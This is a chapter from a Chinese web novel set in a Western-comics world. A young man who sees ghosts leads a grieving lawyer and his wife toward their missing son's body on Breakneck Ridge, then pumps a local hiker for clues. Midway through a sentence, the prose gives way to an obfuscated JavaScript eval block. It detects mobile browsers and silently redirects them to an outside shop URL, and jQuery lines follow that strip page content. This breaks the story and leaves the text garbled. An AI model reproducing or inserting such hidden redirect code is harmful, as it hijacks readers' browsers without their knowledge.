33.第 33 章

作品:《[综英美]今天又是好运的一天

    郝运认出眼前突然出现的男人是钱宁·西奥多,单从面容和保持良好的身材压根看不出是50多岁的人,本人竟比照片上还要帅气有魅力。尽管内心坦荡毫无愧色,面对为保持体面竭力压制怒火的老公,他还是莫名升起一丢丢被抓包的心虚感!这都什么事啊,为什么每次都出现类似的误会。郝运讪讪放下虚虚揽着的手臂,努力露出一个表示友好的笑。


    希尔彻底放下女强人的形象,仿佛一下子找到主心骨,一头扑进丈夫宽阔的怀抱,眼泪很快将昂贵的定制西装洇湿一块。钱宁·西奥多似乎第一次面对这样不顾形象任由眼泪流淌弄脏妆容的妻子,他掏出真丝手帕笨手笨脚地替她擦着眼泪。“好了,凯瑟琳,我来了,我来了。发生了什么,告诉我。”平时雄辩滔滔凭着一张口舌将对手逼得毫无招架之力的大律师,这会儿只是一个想安慰伤心欲绝的妻子却无能为力的普通男人。


    眼见一向坚强的妻子如此脆弱,哭得说不出话来,钱宁·西奥多又急又气,一腔怒火无处发泄,一边搂紧怀中紧紧依靠着他的妻子,一边用一种极冷酷骇人的眼神盯着始作俑者。


    小子,你完了。郝运立马读懂钱宁·西奥多眼中的滔滔怒火。这样一位赫赫有名的大律师,大概率不会当众打他一顿,但有的是办法搞垮一个人,大概只要动动小手指,就能将他送进最臭名昭著的监狱进修吧。郝运不自觉打个寒战,忙又是道歉又是解释:“西奥多先生,刚才恕我我冒昧,我只想安慰一个失去儿子的母亲。”


    “贾斯汀只是失踪。”当父亲的下意识反驳,做律师的马上敏锐地意识到什么,“你有贾斯汀的消息?”


    “要不坐下来慢慢说?”郝运看一眼不能自已快要昏过去的希尔女士。


    “你的消息最好是真的。那些为了钱编假话骗我的人,现在都在赖克斯岛监狱给狱友洗内裤。你这样的小子,进去后恐怕不止要洗内裤。”钱宁·西奥多用最轻描淡写的语气说着吓死人的话。


    一股冷意悄然爬上脊背,某个不可言说的部位跟着一紧。贾斯汀,你爸好可怕!郝运不禁后悔自己的冒失。事到如今,哪怕麻烦上身,他也只能硬着头皮干下去。郝运定定心神,尽量表现出人畜无害的样子。


    “我愚弄谁都不会愚弄一个心碎的母亲,否则我妈会赶在你动手之前,先把我打个屁股开花。”郝女士从来没有过这样粗鲁的行为,但郝运相信,在这种情况下,郝女士定然会让他知道花儿为什么这样红。


    但凡做儿子的都惧怕母亲的怒火。钱宁·西奥多眼中的冷意略有消散。


    凯瑟琳·希尔终于抬起头,她擦擦眼泪,带着浓重的鼻音说道:“郝运先生,让我先跟我的先生谈一谈。”说着递给郝运一个她会搞定他的眼神。


    郝运巴不得不用面对大律师渗人的逼视,他痛快点点头,跑到最远处的角落面对两人乖乖坐下,那姿态俨然一个随时等候召唤的仆人。他都这么卑微了,大律师你一定要手下留情啊!郝运努力不看其他人时不时投过来的八卦眼神,不想他们的窃窃私语是什么内容。总之他绝对不是勾引人老婆的小白脸。如果非要误会,绝对是倒霉体质的问题,跟他这个人没有关系。


    夫妻两个压低声音交谈了好一会儿,有好几次钱宁·西奥多用一种冰冷怀疑的眼神扭头望向郝运。郝运抱着背包坐立难安,就在他考虑要不要先出门透透气时,夫妻俩似乎终于达成一致。钱宁·西奥多一手提包,一手搂着妻子,丢给郝运一个“跟上”的眼神,无视客人们热切的目光,大步走出与他的身份气质极为不配的平民咖啡店。


    郝运屁颠屁颠跟上。他跟着两人登上一辆宽敞豪华的商务车,夫妻俩已在主人位上坐定。郝运小心在对面的真皮座椅上坐下。他第一次知道有前后排对坐的车子,座椅恰到好处地托住他的背部和臀部,舒适地让人想在上面打个滚儿。


    “通灵的神奇小子,现在你可以慢慢说了。”钱宁·西奥多慢条斯理道。


    这是找儿子的态度吗?别以为我听不出话里的嘲讽与不耐。郝运没胆子呛出声,只敢在心里默默吐槽。


    钱宁·西奥多似乎有所察觉,双眼微微一眯,感觉到手被妻子轻轻捏了一下,才略显遗憾地收回那极具压迫性的气势。


    郝运不安地挪挪屁股,不敢再耽误,直接说重点:“贾斯汀最后出现的地方是冷泉镇,我猜他死在断脖峰某处能看到哈德逊河的悬崖底下。”


    “你猜?”钱宁·西奥多表情不耐,“你知不知道警察将冷泉镇那一片山翻了个底朝天?”


    “我是从贾斯汀偶然吐露的信息中拼凑出来的。最先他说的是尸体被冲进海里。昨天他让我去找你们,我故意刺激他,他冲动之下说出被秃鹫吃的话。我当着他的面推断出这样一个不算明确的地点,他气呼呼地跑了,到现在都不见踪影。”郝运摆出事实。


    “你能通灵,应该也能联系上贾斯汀吧?”凯瑟琳·希尔一脸希冀。


    郝运摇摇头:“抱歉,我没有那么大的能力。”


    “他会去哪你知道吗?”


    “这个你们应该最清楚。”


    “凯瑟琳,即便贾斯汀的灵魂站在眼前,我们也不知道,现在最重要的是找到他的……总之,活要见人死要见尸。”钱宁·西奥多务实道。


    是啊,找到他的灵魂她也看不见他。而一旦找到尸体,那就是说她的儿子真的回不来了。凯瑟琳·希尔被这两个残酷的事实击得浑身一颤,她缓缓闭上眼,瘫倒在椅背上。


    钱宁·西奥多握着妻子的手,快速打了几个电话,言简意赅地作出指示。切断电话后,他深深看着郝运:“既然你这么热心肠,那就跟我们一起去断脖峰,正好验证一下你的猜测对不对。”


    “我也不是毫无所求。”郝运弱弱道。


    “你放心,该你的一毛钱都不会少。”钱宁·西奥多一副早就知道的笃定,不过难得没有讥讽。


    “我不要钱。如果找到贾斯汀,你能不能做一个人的代理律师?”郝运诈着胆子请求,面对大律师锐利的目光,他又怂了,“那个,是贾斯汀的提议,我也是因为他才碰到贾斯汀。当然,如果你为难的话,我可以收回——”


    “可以。”


    车子沿着哈德逊河谷的主干道蜿蜒行驶,沿途峰峦叠嶂、树木葱茏,每过一个弯道,都有新的景致扑面而来。一路上,钱宁·西奥多两部手机不停,有时甚至要同时作出安排和指示。看着大律师运筹帷幄的样子,郝运觉得弗兰克的案子大有从轻处罚的希望。


    一行在贾斯汀最后消失的附近下车。周末的山脚下很热闹,背着包的登山客们三三两两有才上山的,也有已经下山的。搜救队、搜救犬挤在不远处的一个圆形小广场上等待分配任务,头顶的直升机盘旋轰鸣。为了听见彼此说的话,大家都扯着嗓子嚷嚷,安宁的小镇仿佛加水的油锅,一下子变得乱糟糟的。


    好几个挺胸凸肚官员模样的男人努力挪动两条腿朝这边走过来,似乎在争抢第一个同钱宁·西奥多握手的权利,最终一个看起来最有派头的男人拔得头筹。几人簇拥着西奥多夫妇,都想再近一点,郝运被挤出包围圈。他们熟练地操着各种场面话,寒暄问候,每个人脸上都很凝重,语


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128469|194615||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    气却尽量不显得沉痛。毕竟尸体没找到之前,不好先表示遗憾。


    这伙突然闯入的家伙打断背包客和小镇游客舒服自在的吸氧之旅,好在大家都明白应该是人命关天的大事,并没有表示太多不满。有些怕麻烦的迟疑着要不要离开,有些好热闹的则聚在一起交头接耳。交通突然拥堵起来,想出去的出不去,想进来的进不来,一股焦灼的气息开始在空气中积攒蔓延。


    幸好警察及时赶到,有负责疏散交通,有负责劝退围观人员,有个探长模样的男人则直奔中心人物而去。当游客得知暂时没有接到封山封路的通知,便收起好奇心,陆续离开,继续未完成的观光。


    郝运溜溜达达,专挑装备齐全的登山客搭话。聊了四五个人后,他基本摸清断脖峰哪里最险峻,哪里最适合欣赏哈德逊河景风光,哪条徒步路线最有挑战性,哪里有鲜为人知的上山小路,但是没有人在山上见过秃鹫。


    没有钓鱼佬钓不到的东西,也没有资深徒步爱好者走不到的地方。哪怕是深山老林的神秘洞穴,亦或是悬崖峭壁的绝险之巅,他们仿佛拥有徒步神行的超能力,总能一步步抵达。断脖峰来来往往的登山客不少,贾斯汀尸骨的位置应该是个很隐蔽的所在,才没有被发现。


    “这都来来回回几次了,还不消停,有钱人果然可以为所欲为,连镇长探长都得围着他巴结。”一道嘲讽又不耐的声音在耳边响起。


    郝运循着声音的方向望去,是一个古铜色皮肤身材劲瘦的中年登山客,一看就很资深的那种。认识镇长探长,也就是当地人咯。他心中一动,跟着附和:“可不是嘛,弄得游玩的心情都毁了。”


    “你是纽约来的吧?”


    “大哥,你好厉害,这都能看出来。”郝运堆起笑恭维道。


    “纽约人都有股纽约味儿。”古铜色大哥得意道。


    “哈哈,就像有钱人自带有钱味儿。”郝运略带愤愤。


    古铜色大哥仿佛找到知音,一下子热切起来:“你不是单纯来玩儿的吧?”


    郝运一副又被你看穿的惊讶:“不瞒大哥,我是个记者,听人说前段时间有秃鹫在断脖峰出没,就想来调查一下。”


    “你是觉得有什么尸体吧?”古铜色大哥压低声音。断脖峰峰如其名,每年总有一两具尸体。


    “我是个小记者嘛,想出头总得挖点儿大料出来。不过我问了一圈儿,都说没见过秃鹫,大概是白跑一趟。”郝运失望道。


    “我在山顶的崖壁上见过两只,但那差不多都是半年前的事了。”


    “那里能看见哈德逊河吗?”郝运忙问。


    “正对着哈德逊河。”


    时间、位置都对上了,郝运觉得有谱,拉着细问:“大哥,你给我说说崖壁的具体情况呗,比如有没有隐秘的洞穴,或者大裂缝?”


    “那块崖壁光溜溜的连草都不长,洞穴什么的不知道。”


    “那秃鹫出没的地方有没有什么特别的?”


    “那地方离山顶有点远,看不太清楚。我当时看到秃鹫盘旋,特意壮着胆子朝下看了一眼,好像有块突出来的石头,但很小,可能是个只动物死在那也说不定。小兄弟,真有人不小心掉下去也是一头栽进哈德逊河,哪会那么巧卡到石头那儿。”


    “种花国有句古话,无巧不成书。”


    “山顶没有护栏,很危险的,你别——”


    “大哥,你喜欢钱不?”


    古铜色大哥神色一僵,干笑道:“钱,谁不……不喜欢。”


    “有个机会,能从有钱人手里捞一笔,想不想干?”